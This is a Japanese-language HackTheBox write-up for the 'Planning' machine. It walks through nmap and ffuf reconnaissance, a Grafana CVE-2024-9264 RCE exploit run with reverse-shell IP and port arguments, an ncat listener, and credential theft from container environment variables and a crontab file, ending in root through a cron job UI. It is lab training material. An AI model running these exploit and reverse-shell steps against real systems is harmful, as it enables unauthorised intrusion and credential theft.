🦁

[HackTheBox] planning-writeup

に公開

はじめに

  • MachineName: Planning
  • Difficulty: Easy

Machine Information

  • usr:admin
  • pwd:0D5oT70Fq13EvB5r

recon

nmapを使用して
空いているポートを見つけます。
/etc/hostsにplanning.htbを追加します

$nmap -sCV 10.10.11.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-06 06:13 UTC
Nmap scan report for 10.10.11.68
Host is up (1.0s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

enumeration

ffufを使用しサブドメインを探します。

$sudo ffuf -u http://planning.htb/ -w /usr/share/wordlists/subdmain.txt -H "Host:FUZZ.planning.htb"

grafanaが見つかったので/etc/hostsに追加します

grafana

grafana-v11.0.0に脆弱性がないか調べ、結果CVE-2024-9264を見つけました。

https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit/tree/main

このexploitを使用します。

スクリーンショット 2025-06-09 15.15.58.png

#

$python3 poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.xx.xx --reverse-port xxxx

適当なポートで開けます

$ncat -lvnp xxxx
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.11.68:50852.
sh: 0: can't access tty; job control turned off

おそらくdocker内にいます。ここから出るために環境変数を見てみます。
.envにenzoというユーザとパスワードを発見しました。

# env
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
AWS_AUTH_EXTERNAL_ID=
SHLVL=1
HOME=/usr/share/grafana
OLDPWD=/usr/share/grafana/.duckdb
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
_=ls
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana

user

sshでenzoに接続しuser.txtを取得できました。

enzo@planning.htb$cat user.txt
504069aa88b42cf29db8eb83731fcb36

root

怪しいポートが空いていないか確認したら8000番があったのでparrot側に転送します

enzo@planning:~$ ss -tuln
Netid  State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port Process 
udp    UNCONN  0       0           127.0.0.54:53           0.0.0.0:*            
udp    UNCONN  0       0        127.0.0.53%lo:53           0.0.0.0:*            
tcp    LISTEN  0       4096        127.0.0.54:53           0.0.0.0:*            
tcp    LISTEN  0       511            0.0.0.0:80           0.0.0.0:*            
tcp    LISTEN  0       511          127.0.0.1:8000         0.0.0.0:*            
tcp    LISTEN  0       4096         127.0.0.1:3000         0.0.0.0:*            
tcp    LISTEN  0       151          127.0.0.1:3306         0.0.0.0:*            
tcp    LISTEN  0       4096     127.0.0.53%lo:53           0.0.0.0:*            
tcp    LISTEN  0       4096         127.0.0.1:38099        0.0.0.0:*            
tcp    LISTEN  0       70           127.0.0.1:33060        0.0.0.0:*            
tcp    LISTEN  0       4096                 *:22                 *:*       
$ssh enzo@planning.htb -L 8000:127.0.0.1:8000   

スクリーンショット 2025-06-09 15.45.42.png

ログインを要求されているので探します。
とりあえずlinpeas.shを投下してみます。
何やら怪しげなファイルを見つけました

cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

root
P4ssw0rdS0pRi0T3c
これでログインできそう...?

できました..!
恐らく、指定した時間になったらshellコマンドをrootで実行する感じのwebアプリですね。
スクリーンショット 2025-06-09 15.58.45.png
shellを反射するコマンドを適当に書いてみます

スクリーンショット 2025-06-10 10.30.10.png

あっさりroot取れました。

$ncat -lcnp xxxx
root@planning:/# whoami
whoami
root
root@planning:/# cat root/root.txt
#cat root/root.txt
615da1318a44484acf564c4c99dfa6e1

Discussion